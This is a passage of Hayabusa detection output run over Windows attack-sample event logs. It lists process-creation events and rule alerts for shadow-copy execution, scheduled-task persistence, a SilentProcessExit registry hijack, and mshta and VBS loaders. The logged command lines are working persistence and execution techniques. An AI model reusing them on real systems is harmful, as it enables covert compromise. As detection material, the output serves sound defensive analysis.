: Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\htxjGDrk /INTERACTIVE:off /node:localhost Service where(name=""VSS"") get state",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:45.405 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\CEafXbEl /INTERACTIVE:off /node:localhost Service where(name=""swprv"") get state : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:45.491 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\wbem\wmic.exe /output:C:\Windows\TEMP\CEafXbEl /INTERACTIVE:off /node:localhost Service where(name=""swprv"") get state : Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\CEafXbEl /INTERACTIVE:off /node:localhost Service where(name=""swprv"") get state",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:47.402 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\YqOMAUgO /INTERACTIVE:off /node:localhost shadowcopy call create ""ClientAccessible"", ""C:\"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:47.478 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\wbem\wmic.exe /output:C:\Windows\TEMP\YqOMAUgO /INTERACTIVE:off /node:localhost shadowcopy call create ""ClientAccessible"", ""C:\"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\YqOMAUgO /INTERACTIVE:off /node:localhost shadowcopy call create ""ClientAccessible"", ""C:\""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:47.478 +09:00,IEWIN7,1,medium,Shadow Copies Creation Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:48.655 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c vssadmin List Shadows| find ""Shadow Copy Volume"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:48.763 +09:00,IEWIN7,1,informational,Process Creation,"Command: vssadmin List Shadows : Path: C:\Windows\System32\vssadmin.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c vssadmin List Shadows| find ""Shadow Copy Volume"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:48.827 +09:00,IEWIN7,1,informational,Process Creation,"Command: find ""Shadow Copy Volume"" : Path: C:\Windows\System32\find.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c vssadmin List Shadows| find ""Shadow Copy Volume"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.447 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.544 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe : Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.544 +09:00,IEWIN7,1,medium,Suspicious WMI Execution,,rules/sigma/process_creation/win_susp_wmi_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.544 +09:00,IEWIN7,1,medium,Shadow Copies Creation Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.632 +09:00,IEWIN7,1,informational,Process Creation,Command: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe : Path: \Device\HarddiskVolumeShadowCopy7\Windows\Temp\svhost64.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:59.519 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\schtasks.exe /create /sc minute /mo 1 /tn ""eyNQLDvUSuvVPg"" /tr ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:59.578 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: C:\Windows\system32\schtasks.exe /create /sc minute /mo 1 /tn ""eyNQLDvUSuvVPg"" /tr ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe"" : Path: C:\Windows\System32\schtasks.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\schtasks.exe /create /sc minute /mo 1 /tn ""eyNQLDvUSuvVPg"" /tr ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 11:13:52.171 +09:00,IEWIN7,1,informational,Process Creation,"Command: vshadow.exe -nw -exec=c:\windows\System32\osk.exe c:\ : Path: C:\ProgramData\vshadow.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:13:52.429 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Process Launched via DCOM : Command: DrvInst.exe ""1"" ""200"" ""STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot11"" """" """" ""6350c17eb"" ""00000000"" ""000005AC"" ""00000590"" : Path: C:\Windows\System32\drvinst.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:13:53.507 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: IEWIN7\IEUser : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:14:48.819 +09:00,IEWIN7,1,informational,Process Creation,"Command: vshadow.exe -nw -exec=c:\windows\System32\notepad.exe c:\ : Path: C:\ProgramData\vshadow.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:14:49.194 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Process Launched via DCOM : Command: DrvInst.exe ""1"" ""200"" ""STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot12"" """" """" ""6d110b0a3"" ""00000000"" ""000005B8"" ""000004B0"" : Path: C:\Windows\System32\drvinst.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:14:50.413 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\windows\System32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: vshadow.exe -nw -exec=c:\windows\System32\notepad.exe c:\",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-06-15 07:22:17.988 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\a.exe"" : Path: C:\Users\IEUser\Downloads\a.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:21.535 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\a.exe"" : Path: C:\Users\IEUser\Downloads\a.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\a.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:21.535 +09:00,IEWIN7,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:31.957 +09:00,IEWIN7,7,informational,WMI Modules Loaded,,rules/sigma/image_load/sysmon_wmi_module_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:32.222 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"" /stext ""C:\Users\IEUser\AppData\Local\Temp\tmpA185.tmp"" : Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\a.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:47.253 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.441 +09:00,IEWIN7,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 00000040 : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.503 +09:00,IEWIN7,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 00000040 ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.566 +09:00,IEWIN7,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 00000040 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.707 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:06.691 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} : Path: C:\Windows\System32\dllhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:07.019 +09:00,IEWIN7,1,informational,Process Creation,Command: efsui.exe /efs /keybackup : Path: C:\Windows\System32\efsui.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\lsass.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:07.082 +09:00,IEWIN7,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: IEWIN7\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.894 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: IEWIN7\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.957 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe"" : Path: C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\userinit.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.957 +09:00,IEWIN7,1,high,Logon Scripts (UserInitMprLogonScript),,rules/sigma/process_creation/sysmon_logon_scripts_userinitmprlogonscript_proc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.957 +09:00,IEWIN7,1,medium,Suspicious Userinit Child Process,,rules/sigma/process_creation/win_susp_userinit_child.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.972 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:15.054 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\VBoxTray.exe"" : Path: C:\Windows\System32\VBoxTray.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:16.592 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe"" : Path: C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:23.405 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:26.811 +09:00,IEWIN7,7,informational,WMI Modules Loaded,,rules/sigma/image_load/sysmon_wmi_module_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:26.999 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"" /stext ""C:\Users\IEUser\AppData\Local\Temp\tmp7792.tmp"" : Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:53.358 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} : Path: C:\Windows\System32\dllhost.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\mshta.exe"" ""C:\Users\IEUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S97WTYG7\update.hta"" : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\update.html",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:14:32.809 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} : Path: C:\Windows\System32\dllhost.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:21:50.488 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\updatevbs.html : Path: C:\Program Files\Internet Explorer\iexplore.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:21:51.035 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" SCODEF:540 CREDAT:275457 /prefetch:2 : Path: C:\Program Files\Internet Explorer\iexplore.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\updatevbs.html",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:22:05.691 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WScript.exe"" ""C:\Users\IEUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S97WTYG7\updatevbs.vbs"" : Path: C:\Windows\System32\wscript.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\updatevbs.html",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:22:05.691 +09:00,IEWIN7,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:22:05.691 +09:00,IEWIN7,1,high,WScript or CScript Dropper,,rules/sigma/process_creation/win_malware_script_dropper.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-20 02:22:37.897 +09:00,IEWIN7,1,informational,Process Creation,"Command: reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"" /v GlobalFlag /t REG_DWORD /d 512 : Path: C:\Windows\System32\reg.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:41.709 +09:00,IEWIN7,1,informational,Process Creation,"Command: reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"" /v ReportingMode /t REG_DWORD /d 1 : Path: C:\Windows\System32\reg.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:41.709 +09:00,IEWIN7,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:41.709 +09:00,IEWIN7,13,critical,Registry Persistence Mechanisms,,rules/sigma/registry_event/sysmon_win_reg_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:43.944 +09:00,IEWIN7,1,informational,Process Creation,"Command: reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"" /v MonitorProcess /d ""C:\windows\temp\evil.exe"" : Path: C:\Windows\System32\reg.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:43.944 +09:00,IEWIN7,13,critical,Registry Persistence Mechanisms,,rules/sigma/registry_event/sysmon_win_reg_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:45.694 +09:00,IEWIN7,13,critical,Registry Persistence Mechanisms,,rules/sigma/registry_event/sysmon_win_reg_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:55.397 +09:00,IEWIN7,1,informational,Process Creation,"Command: notepad : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:58.944 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\windows\temp\evil.exe : Path: 